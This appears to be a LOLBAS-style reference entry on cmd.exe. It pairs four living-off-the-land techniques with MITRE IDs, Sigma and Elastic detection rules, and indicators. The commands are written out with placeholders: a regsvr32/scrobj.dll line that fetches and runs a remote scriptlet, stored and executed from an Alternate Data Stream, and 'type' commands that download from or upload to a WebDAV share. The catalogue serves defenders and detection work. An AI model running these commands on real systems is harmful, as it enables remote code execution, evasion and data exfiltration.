Cmd.exe

Add content to an Alternate Data Stream (ADS).

Use Can be used to evade defensive countermeasures or to hide as a persistence mechanism

cmd.exe /c echo regsvr32.exe ^/s ^/u ^/i:{REMOTEURL:.sct} ^scrobj.dll > {PATH}:payload.bat

Evidence

Upstream reference

Environment

Local host

Context

user

Native

ADS

MITRE

T1564.004

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml

IOC: cmd.exe executing files from alternate data streams.

IOC: cmd.exe creating/modifying file contents in an alternate data stream.

Refs

twitter.com/yeyint_mth/status/1143824979139579904

twitter.com/Mr_0rng/status/1601408154780446721

medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22

learn.microsoft.com/en-us/windows-server/administration/windows-commands/type

lolbas-project.github.io/lolbas/Binaries/Cmd/

Execute payload.bat stored in an Alternate Data Stream (ADS).

Use Can be used to evade defensive countermeasures or to hide as a persistence mechanism

cmd.exe - < {PATH}:payload.bat

Evidence

Upstream reference

Environment

Local host

Context

user

Native

ADS

MITRE

T1059.003

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml

IOC: cmd.exe executing files from alternate data streams.

IOC: cmd.exe creating/modifying file contents in an alternate data stream.

Refs

twitter.com/yeyint_mth/status/1143824979139579904

twitter.com/Mr_0rng/status/1601408154780446721

medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22

learn.microsoft.com/en-us/windows-server/administration/windows-commands/type

lolbas-project.github.io/lolbas/Binaries/Cmd/

Downloads a specified file from a WebDAV server to the target file.

Use Download/copy a file from a WebDAV server

type {PATH_SMB} > {PATH_ABSOLUTE}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Download

MITRE

T1105

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml

IOC: cmd.exe executing files from alternate data streams.

IOC: cmd.exe creating/modifying file contents in an alternate data stream.

Refs

twitter.com/yeyint_mth/status/1143824979139579904

twitter.com/Mr_0rng/status/1601408154780446721

medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22

learn.microsoft.com/en-us/windows-server/administration/windows-commands/type

lolbas-project.github.io/lolbas/Binaries/Cmd/

Uploads a specified file to a WebDAV server.

Use Upload a file to a WebDAV server

type {PATH_ABSOLUTE} > {PATH_SMB}

Evidence

Upstream reference

Environment

Local host

Context

user

Native

Upload

MITRE

T1048.003

Detection

Sigma: github.com/SigmaHQ/sigma/blob/62d4fd26b05f4d81973e7c8e80d7c1a0c6a29d0e/rules/windows/process_creation/proc_creation_win_susp_alternate_data_streams.yml

Elastic: github.com/elastic/detection-rules/blob/414d32027632a49fb239abb8fbbb55d3fa8dd861/rules/windows/defense_evasion_unusual_ads_file_creation.toml

Elastic: github.com/elastic/detection-rules/blob/61afb1c1c0c3f50637b1bb194f3e6fb09f476e50/rules/windows/defense_evasion_unusual_dir_ads.toml

IOC: cmd.exe executing files from alternate data streams.

IOC: cmd.exe creating/modifying file contents in an alternate data stream.

Refs

twitter.com/yeyint_mth/status/1143824979139579904

twitter.com/Mr_0rng/status/1601408154780446721

medium.com/@mr-0range/a-new-lolbin-using-the-windows-type-command-to-upload-download-files-81d7b6179e22

learn.microsoft.com/en-us/windows-server/administration/windows-commands/type

lolbas-project.github.io/lolbas/Binaries/Cmd/